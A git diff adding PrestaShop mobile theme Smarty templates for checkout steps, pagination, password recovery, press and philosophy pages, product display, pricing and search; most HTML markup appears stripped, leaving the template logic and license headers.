PrestaShop SA +*} + +{* Assign a value to 'current_step' to display current style *} +{capture name="url_back"} +{if isset($back) && $back}back={$back}{/if} +{/capture} + +{if !isset($multi_shipping)} + {assign var='multi_shipping' value='0'} +{/if} + +{if !$opc} + +
          +
        • + {if $current_step=='payment' || $current_step=='shipping' || $current_step=='address' || $current_step=='login'} + + 1. {l s='Summary'} + + {else} + 1. {l s='Summary'} + {/if} +
        • +
        • + {if $current_step=='payment' || $current_step=='shipping' || $current_step=='address'} + + 2. {l s='Login'} + + {else} + 2. {l s='Login'} + {/if} +
        • +
        • + {if $current_step=='payment' || $current_step=='shipping'} + + 3. {l s='Address'} + + {else} + 3. {l s='Address'} + {/if} +
        • +
        • + {if $current_step=='payment'} + + 4. {l s='Shipping'} + + {else} + 4. {l s='Shipping'} + {/if} +
        • +
        • + 5. {l s='Payment'} +
        • +
        + +{/if} diff --git a/themes/default/_mobile/page-title.tpl b/themes/default/_mobile/page-title.tpl new file mode 100755 index 0000000..d336258 --- /dev/null +++ b/themes/default/_mobile/page-title.tpl @@ -0,0 +1,8 @@ +{if !isset($page_title) && isset($meta_title) && $meta_title != $shop_name} + {assign var='page_title' value=$meta_title|escape:'htmlall':'UTF-8'} +{/if} +{if isset($page_title)} + +{/if} \ No newline at end of file diff --git a/themes/default/_mobile/pages-list.tpl b/themes/default/_mobile/pages-list.tpl new file mode 100755 index 0000000..8513b47 --- /dev/null +++ b/themes/default/_mobile/pages-list.tpl @@ -0,0 +1,39 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +

        {l s='Sitemap'}

        +
          + {if $controller_name != 'index'}
        • Accueil
        • {/if} + + {* need to set a Hook : hookMobilePagesList *} + {* ===================================== *} +
        • IPod
        • +
        • Accessoires
        • + {* ===================================== *} + + {if $controller_name != 'my-account'}
        • {l s='My account'}
        • {/if} + {if $controller_name != 'contact'}
        • {l s='Contact'}
        • {/if} +
        diff --git a/themes/default/_mobile/pagination.tpl b/themes/default/_mobile/pagination.tpl new file mode 100755 index 0000000..42d450e --- /dev/null +++ b/themes/default/_mobile/pagination.tpl @@ -0,0 +1,87 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($no_follow) AND $no_follow} + {assign var='no_follow_text' value='rel="nofollow"'} +{else} + {assign var='no_follow_text' value=''} +{/if} + +{if isset($p) AND $p} + {if isset($smarty.get.id_category) && $smarty.get.id_category && isset($category)} + {if !isset($current_url)} + {assign var='requestPage' value=$link->getPaginationLink('category', $category, false, false, true, false)} + {else} + {assign var='requestPage' value=$current_url} + {/if} + {assign var='requestNb' value=$link->getPaginationLink('category', $category, true, false, false, true)} + {elseif isset($smarty.get.id_manufacturer) && $smarty.get.id_manufacturer && isset($manufacturer)} + {assign var='requestPage' value=$link->getPaginationLink('manufacturer', $manufacturer, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink('manufacturer', $manufacturer, true, false, false, true)} + {elseif isset($smarty.get.id_supplier) && $smarty.get.id_supplier && isset($supplier)} + {assign var='requestPage' value=$link->getPaginationLink('supplier', $supplier, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink('supplier', $supplier, true, false, false, true)} + {else} + {assign var='requestPage' value=$link->getPaginationLink(false, false, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink(false, false, true, false, false, true)} + {/if} + +
        +
        + {if $start!=$stop && $pages_nb >= 1} + + {/if} +
        +
        + +{/if} diff --git a/themes/default/_mobile/password.tpl b/themes/default/_mobile/password.tpl new file mode 100755 index 0000000..87a07d7 --- /dev/null +++ b/themes/default/_mobile/password.tpl @@ -0,0 +1,50 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{capture assign='page_title'}{l s='Forgot your password?'}{/capture} +{include file='./page-title.tpl'} + +{include file="$tpl_dir./errors.tpl"} +
        +
        + {if isset($confirmation) && $confirmation == 1} +

        {l s='Votre mot de passe a été envoyé à votre adresse email :'} {if isset($email)}{$email|escape:'htmlall':'UTF-8'|stripslashes}{/if}

        + {elseif isset($confirmation) && $confirmation == 2} +

        {l s='Votre mot de passe a été envoyé à votre adresse email :'} {if isset($email)}{$email|escape:'htmlall':'UTF-8'|stripslashes}{/if}

        + {else} +

        {l s='Please enter the email address you used to register. We will then send you a new password. '}

        +
        +
        + + + +
        +
        + {/if} +

        + {l s='Return to Login'}{l s='Back to Login'} +

        +
        +
        + diff --git a/themes/default/_mobile/philosophie.tpl b/themes/default/_mobile/philosophie.tpl new file mode 100755 index 0000000..dea8ea7 --- /dev/null +++ b/themes/default/_mobile/philosophie.tpl @@ -0,0 +1,71 @@ + +{capture name=path}{l s='Ma Philosophie'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +{foreach from=$philo item=phi} +
        +

        {$phi.titrepage}

        +
        + {if $phi.titrebox1!=""} +
        +

        {$phi.titrebox1}

        + +
        + {/if} + {if $phi.titrebox2!=""} +
        +

        {$phi.titrebox2}

        + +
        + {/if} + {if $phi.titrebox3!=""} +
        +

        {$phi.titrebox3}

        + +
        + {/if} + {if $phi.titrebox4!=""} +
        +

        {$phi.titrebox4}

        + +
        + {/if} +
        +
        +
        +
        + {if $phi.video!=""} +
        + {$phi.video|replace:'width="560"':'width="640"'|replace:'height="315"':'height="360"'} +
        + {/if} + {if $phi.bloctitre!=""} +
        +

        {$phi.bloctitre}

        +
        + {if $phi.blocurl!=""}{/if} + {$phi.image2legend} + {if $phi.blocurl!=""}{/if} +
        +
        + {$phi.blocdescription} +
        + {if $phi.blocurl!=""}{$phi.blocurltitre}{/if} +
        + {/if} +
        +
        +{/foreach} \ No newline at end of file diff --git a/themes/default/_mobile/presse.tpl b/themes/default/_mobile/presse.tpl new file mode 100755 index 0000000..71b255b --- /dev/null +++ b/themes/default/_mobile/presse.tpl @@ -0,0 +1,154 @@ +{capture name=path}{l s='La presse en parle'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='La presse en parle'}]

        + + {if $pressProducts|@count>0} +
        +
        + +
        + +
        +
        +
        + {/if} + {if $nbPage>0} + + {/if} +
        +
          + {foreach from=$press item=presse key=compteur} +
        • +
          {$presse.legend}
          +
          +

          " {$presse.title} "

          +
          + {$presse.description} +
          +
          +
          +
        • + {/foreach} +
        +
        +
        + + {if $nbPage>0} + + {/if} +
        +
        + \ No newline at end of file diff --git a/themes/default/_mobile/prices-drop.tpl b/themes/default/_mobile/prices-drop.tpl new file mode 100755 index 0000000..e331a60 --- /dev/null +++ b/themes/default/_mobile/prices-drop.tpl @@ -0,0 +1,43 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Price drop'}{/capture} +{include file='./page-title.tpl'} + +{if $products} +
        +
        + {include file="./category-product-sort.tpl" container_class="container-sort"} +
        +
        + {include file="./pagination.tpl"} + {include file="./category-product-list.tpl" products=$products} + {include file="./pagination.tpl"} + + {include file='./sitemap.tpl'} +
        +{else} +

        {l s='No price drop'}

        +{/if} \ No newline at end of file diff --git a/themes/default/_mobile/product-attributes.tpl b/themes/default/_mobile/product-attributes.tpl new file mode 100755 index 0000000..ec6672b --- /dev/null +++ b/themes/default/_mobile/product-attributes.tpl @@ -0,0 +1,52 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if isset($groups)} +
        + +
        +{foreach from=$groups key=id_attribute_group item=group} + {if $group.attributes|@count} +
        + {capture assign='groupName'}group_{$id_attribute_group|intval}{/capture} + + {if ($group.group_type == 'select' || $group.group_type == 'color')} + + {elseif ($group.group_type == 'radio')} +
        + {foreach from=$group.attributes key=id_attribute item=group_attribute} + + + {/foreach} +
        + {/if} +
        + {/if} +{/foreach} +
        +{/if} diff --git a/themes/default/_mobile/product-desc-features.tpl b/themes/default/_mobile/product-desc-features.tpl new file mode 100755 index 0000000..8692a9a --- /dev/null +++ b/themes/default/_mobile/product-desc-features.tpl @@ -0,0 +1,84 @@ +
        +
        + + + {if isset($product) && $product->description} +
        +

        {l s='More info'}

        +
        {$product->description}
        +
        + {/if} + + + {if isset($features) && $features && $features|@count > 0} +
        +

        {l s='Data sheet'}

        +
          + {foreach from=$features item=feature} + {if isset($feature.value)} +
        • {$feature.name|escape:'htmlall':'UTF-8'} {$feature.value|escape:'htmlall':'UTF-8'}
        • + {/if} + {/foreach} +
        +
        + {/if} + + + {if isset($attachments) && $attachments} +
        +

        {l s='Download'}

        + +
        + {/if} + + + {if isset($accessories) && $accessories} +
        +

        {l s='Accessories'}

        +
          + {foreach from=$accessories item=accessory name=accessories_list} + {assign var='accessoryLink' value=$link->getProductLink($accessory.id_product, $accessory.link_rewrite, $accessory.category)} +
        • + +
          +
          + {$accessory.legend|escape:'htmlall':'UTF-8'} +
          +
          +
          +

          {$accessory.name|escape:'htmlall':'UTF-8'}

          +

          {$accessory.description_short|strip_tags|truncate:70:'...'}

          +
          +
          +
          +
          + {if $accessory.show_price AND !isset($restricted_country_mode) AND !$PS_CATALOG_MODE} +
          + {if $priceDisplay != 1}{displayWtPrice p=$accessory.price}{else}{displayWtPrice p=$accessory.price_tax_exc}{/if} +
          + {/if} +
          + {l s='View'} + {assign var="btn_more" value=""} + {assign var="btn_href" value=""} + {assign var="btn_class" value=""} + {if ($accessory.allow_oosp || $accessory.quantity > 0) AND $accessory.available_for_order AND !isset($restricted_country_mode) AND !$PS_CATALOG_MODE} + {assign var="btn_href" value=$link->getPageLink('cart', true, NULL, "qty=1&id_product={$accessory.id_product|intval}&token={$static_token}&add")} + {else} + {assign var="btn_class" value="disabled"} + {capture assign="btn_more"}{if (isset($accessory.quantity_all_versions) && $accessory.quantity_all_versions > 0)}{l s='Product available with different options'}{else}{if !$PS_CATALOG_MODE}{l s='Out of stock'}{/if}{/if}{/capture} + {/if} + {l s='Add to cart'} + {$btn_more} +
          +
        • + {/foreach} +
        +
        + {/if} +
        +
        diff --git a/themes/default/_mobile/product-images.tpl b/themes/default/_mobile/product-images.tpl new file mode 100755 index 0000000..1fbe7a3 --- /dev/null +++ b/themes/default/_mobile/product-images.tpl @@ -0,0 +1,45 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + {if isset($images) && count($images) > 0} + +
        + {assign var=image_cover value=$product->getCover($product->id)} + {assign var=imageIds value="`$product->id`-`$image_cover.id_image`"} + {$product->name|escape:'htmlall':'UTF-8'} +
        + +
        +
        + {/if} +
        diff --git a/themes/default/_mobile/product-js.tpl b/themes/default/_mobile/product-js.tpl new file mode 100755 index 0000000..e75f5ae --- /dev/null +++ b/themes/default/_mobile/product-js.tpl @@ -0,0 +1,188 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + \ No newline at end of file diff --git a/themes/default/_mobile/product-list.tpl b/themes/default/_mobile/product-list.tpl new file mode 100755 index 0000000..77a28a4 --- /dev/null +++ b/themes/default/_mobile/product-list.tpl @@ -0,0 +1,79 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($products)} + +
          + {foreach from=$products item=product name=products} +
        • + + {$product.legend|escape:'htmlall':'UTF-8'} + {if isset($product.new) && $product.new == 1}{l s='New'}{/if} + +
          +

          {$product.name|escape:'htmlall':'UTF-8'|truncate:35:'...'}

          +

          {$product.description_short|strip_tags:'UTF-8'|truncate:120:'...'}

          + {if $product.reference}

          {l s='Référence : '}{$product.reference|strip_tags:'UTF-8'}

          {/if} +

          {l s='Plus de détails'}

          +
          + {if $logged} +
          + {*if isset($product.on_sale) && $product.on_sale && isset($product.show_price) && $product.show_price && !$PS_CATALOG_MODE} + {l s='On sale!'} + {elseif isset($product.reduction) && $product.reduction && isset($product.show_price) && $product.show_price && !$PS_CATALOG_MODE} + {l s='Reduced price!'} + {/if*} + {if (!$PS_CATALOG_MODE AND ((isset($product.show_price) && $product.show_price) || (isset($product.available_for_order) && $product.available_for_order)))} +
          + {if isset($product.show_price) && $product.show_price && !isset($restricted_country_mode)} + + {*if !$priceDisplay}{convertPrice price=$product.price}{else}{convertPrice price=$product.price_tax_exc}{/if*} + {convertPrice price=$product.price_tax_exc} + {l s='HT'} + {/if} +
          +
          + {l s='Quantité : '} + +
          + {/if} + {if ($product.id_product_attribute == 0 || (isset($add_prod_display) && ($add_prod_display == 1))) && $product.available_for_order && !isset($restricted_country_mode) && $product.minimal_quantity <= 1 && $product.customizable != 2 && !$PS_CATALOG_MODE} + {if ($product.allow_oosp || $product.quantity > 0)} + {if isset($static_token)} + {l s='Add to cart'} + {else} + {l s='Add to cart'} + {/if} + {else} + {/if} + {/if} +
          + {/if} +
        • + {/foreach} +
        +
        + +{/if} diff --git a/themes/default/_mobile/product-prices.tpl b/themes/default/_mobile/product-prices.tpl new file mode 100755 index 0000000..d72738d --- /dev/null +++ b/themes/default/_mobile/product-prices.tpl @@ -0,0 +1,87 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + {if $product->online_only} +

        {l s='Online only'}

        + {/if} + +
        + {if !$priceDisplay || $priceDisplay == 2} + {assign var='productPrice' value=$product->getPrice(true, $smarty.const.NULL)} + {assign var='productPriceWithoutReduction' value=$product->getPriceWithoutReduct(false, $smarty.const.NULL)} + {elseif $priceDisplay == 1} + {assign var='productPrice' value=$product->getPrice(false, $smarty.const.NULL)} + {assign var='productPriceWithoutReduction' value=$product->getPriceWithoutReduct(true, $smarty.const.NULL)} + {/if} + +

        + {if $priceDisplay >= 0 && $priceDisplay <= 2} + {convertPrice price=$productPrice} + {/if} +

        + + {if $product->on_sale} + {l s='On sale!'} + {/if} + {if $priceDisplay == 2} + {convertPrice price=$product->getPrice(false, $smarty.const.NULL)} {l s='Tax excl.'} + {/if} + + + {if $product->specificPrice AND $product->specificPrice.reduction} +

        + {if $priceDisplay >= 0 && $priceDisplay <= 2} + {if $productPriceWithoutReduction > $productPrice} + {convertPrice price=$productPriceWithoutReduction} + {/if} + {/if} + {if $product->specificPrice.reduction_type == 'percentage'} + -{$product->specificPrice.reduction*100}% + {elseif $product->specificPrice.reduction_type == 'amount'} + -{convertPrice price=$product->specificPrice.reduction|floatval} + {/if} + +

        + {/if} + + {if $packItems|@count && $productPrice < $product->getNoPackPrice()} +

        {l s='instead of'} {convertPrice price=$product->getNoPackPrice()}

        + {/if} + + {if $product->ecotax != 0} +

        {l s='include'} {if $priceDisplay == 2}{$ecotax_tax_exc|convertAndFormatPrice}{else}{$ecotax_tax_inc|convertAndFormatPrice}{/if} {l s='for green tax'} + {if $product->specificPrice AND $product->specificPrice.reduction} +
        {l s='(not impacted by the discount)'} + {/if} +

        + {/if} + + {if !empty($product->unity) && $product->unit_price_ratio > 0.000000} + {math equation="pprice / punit_price" pprice=$productPrice punit_price=$product->unit_price_ratio assign=unit_price} +

        {convertPrice price=$unit_price} {l s='per'} {$product->unity|escape:'htmlall':'UTF-8'}

        + {/if} +
        +
        \ No newline at end of file diff --git a/themes/default/_mobile/product-quantity-discount.tpl b/themes/default/_mobile/product-quantity-discount.tpl new file mode 100755 index 0000000..e02d4b6 --- /dev/null +++ b/themes/default/_mobile/product-quantity-discount.tpl @@ -0,0 +1,66 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if (isset($quantity_discounts) && count($quantity_discounts) > 0)} + + +
        + + + + + + + + + + + + + {foreach from=$quantity_discounts item='quantity_discount' name='quantity_discounts'} + + + + + + {/foreach} + +
        {l s='product'}{l s='from (qty)'}{l s='discount'}
        {l s='There is no quantity discount for this product.'}
        + {if (isset($quantity_discount.attributes) && ($quantity_discount.attributes))} + {$product->getProductName($quantity_discount.id_product, $quantity_discount.id_product_attribute)} + {else} + {$product->getProductName($quantity_discount.id_product)} + {/if} + {$quantity_discount.quantity|intval} + {if $quantity_discount.price != 0 OR $quantity_discount.reduction_type == 'amount'} + -{convertPrice price=$quantity_discount.real_value|floatval} + {else} + -{$quantity_discount.real_value|floatval}% + {/if} +
        +
        +{/if} diff --git a/themes/default/_mobile/product.tpl b/themes/default/_mobile/product.tpl new file mode 100755 index 0000000..45bf96f --- /dev/null +++ b/themes/default/_mobile/product.tpl @@ -0,0 +1,262 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + +{if !$priceDisplay || $priceDisplay == 2} + {assign var='productPrice' value=$product->getPrice(true, $smarty.const.NULL, $priceDisplayPrecision)} + {assign var='productPriceWithoutReduction' value=$product->getPriceWithoutReduct(false, $smarty.const.NULL)} +{elseif $priceDisplay == 1} + {assign var='productPrice' value=$product->getPrice(false, $smarty.const.NULL, $priceDisplayPrecision)} + {assign var='productPriceWithoutReduction' value=$product->getPriceWithoutReduct(true, $smarty.const.NULL)} +{/if} +{include file="$tpl_dir./breadcrumb.tpl"} + + + +{include file='./product-js.tpl'} +
        +
        + +
        + {include file="$tpl_dir./errors.tpl"} + + {if isset($confirmation) && $confirmation} +

        + {$confirmation} +

        + {/if} +

        [{$product->name|escape:'htmlall':'UTF-8'}]

        + + + +

        {$product->description_short|strip_tags|escape:'htmlall':'UTF-8'}

        +
        + + +
        + {if isset($images) && count($images) > 0} + +
        + {assign var=image_cover value=$product->getCover($product->id)} + {assign var=imageIds value="`$product->id`-`$image_cover.id_image`"} +
        + + {$product->name|escape:'htmlall':'UTF-8'} + Zoom + +
        + +
        + {/if} +
        + + +
        + +
        + {if (!$allow_oosp && $product->quantity <= 0) OR !$product->available_for_order OR (isset($restricted_country_mode) AND $restricted_country_mode) OR $PS_CATALOG_MODE}{else} +
        + +
        + {/if} + + +
        + minimal_quantity > 1}onkeyup="checkMinimalQuantity({$product->minimal_quantity});"{/if} /> +   +   +
        + + {if $product->show_price AND !isset($restricted_country_mode) AND !$PS_CATALOG_MODE} + +
        + +

        + {if $priceDisplay >= 0 && $priceDisplay <= 2} + {convertPrice price=$productPrice} + {/if} +

        + {if $product->specificPrice AND $product->specificPrice.reduction && $product->specificPrice.reduction > 0} +

        + {if $priceDisplay >= 0 && $priceDisplay <= 2} + {if $productPriceWithoutReduction > $productPrice} + {convertPrice price=$productPriceWithoutReduction} + {/if} + {/if} +

        + {/if} + {if isset($HOOK_PRODUCT_ACTIONS) && $HOOK_PRODUCT_ACTIONS}{$HOOK_PRODUCT_ACTIONS}{/if} + +
        + {/if} + + +
        +
        + {if $product->contenu_tiroir_1} +
        +

        {$product->tiroir_1}

        + +
        + {/if} + {if $product->contenu_tiroir_2} +
        +

        {$product->tiroir_2}

        + +
        + {/if} + {if $product->contenu_tiroir_3} +
        +

        {$product->tiroir_3}

        + +
        + {/if} + {if $product->contenu_tiroir_4} +
        +

        {$product->tiroir_4}

        + +
        + {/if} + {if $product->contenu_tiroir_5} +
        +

        {$product->tiroir_5}

        + +
        + {/if} + {if $product->contenu_tiroir_6} +
        +

        {$product->tiroir_6}

        + +
        + {/if} +
        + + + + + + + + +

        minimal_quantity <= 1 OR !$product->available_for_order OR $PS_CATALOG_MODE} style="display: none;"{/if}> + {l s='This product is not sold individually. You must select at least'} {$product->minimal_quantity} {l s='quantity for this product.'} +

        + {if $product->minimal_quantity > 1} + + {/if} + + +

        quantity > 0 || ($product->quantity <= 0 && !$product->available_later && $allow_oosp) OR ($product->quantity > 0 && !$product->available_now) OR !$product->available_for_order OR $PS_CATALOG_MODE} style="display: none;"{/if}> + {l s='Availability:'} + quantity <= 0} class="warning_inline"{/if}>{if $product->quantity <= 0}{if $allow_oosp}{$product->available_later}{else}{l s='This product is no longer in stock'}{/if}{else}{$product->available_now}{/if} +

        +

        quantity > 0) OR !$product->available_for_order OR $PS_CATALOG_MODE OR !isset($product->available_date) OR $product->available_date < $smarty.now|date_format:'%Y-%m-%d'} style="display: none;"{/if}> + {l s='Availability date:'} + {dateFormat date=$product->available_date full=false} +

        +
        +
        + + + + {if (isset($product) && $product->description) || (isset($features) && $features) || (isset($accessories) && $accessories) || (isset($HOOK_PRODUCT_TAB) && $HOOK_PRODUCT_TAB) || (isset($attachments) && $attachments) || isset($product) && $product->customizable} +
        +
        + {if isset($HOOK_PRODUCT_TAB_CONTENT) && $HOOK_PRODUCT_TAB_CONTENT}{$HOOK_PRODUCT_TAB_CONTENT}{/if} +
        +
        + {/if} +
        +
        + {if isset($accessories) && $accessories} +
        {l s='Vous aimerez aussi'}
        +
        +
        +
          + {foreach from=$accessories item=accessoire} +
        • + + {$accessoire.legend|escape:'htmlall':'UTF-8'} + +
        • + {/foreach} +
        +
        +
        + > + > +
        + + {/if} + {if $product->video_1!=""} +
        +
        +
        {l s='La créatrice en parle'}
        + {$product->video_1} +
        +
        + {/if} + + {if $product->video_2!=""} +
        +
        +
        {l s='Vu à la télé'}
        {$product->video_2} +
        +
        + {/if} + +
        +
        diff --git a/themes/default/_mobile/search.tpl b/themes/default/_mobile/search.tpl new file mode 100755 index 0000000..f46bffa --- /dev/null +++ b/themes/default/_mobile/search.tpl @@ -0,0 +1,67 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'} + {l s='Search'} + {if $nbProducts > 0} + "{if isset($search_query) && $search_query}{$search_query|escape:'htmlall':'UTF-8'}{elseif $search_tag}{$search_tag|escape:'htmlall':'UTF-8'}{elseif $ref}{$ref|escape:'htmlall':'UTF-8'}{/if}" + {/if} +{/capture} +{include file='./page-title.tpl'} +{include file="$tpl_dir./errors.tpl"} + +{if $nbProducts} +
        +

        {if $nbProducts == 1}{l s='%d result has been found.' sprintf=$nbProducts|intval}{else}{l s='%d results have been found.' sprintf=$nbProducts|intval}{/if}

        + + {if !isset($instantSearch) || (isset($instantSearch) && !$instantSearch)} +
        + {include file="./category-product-sort.tpl" container_class="container-sort"} +
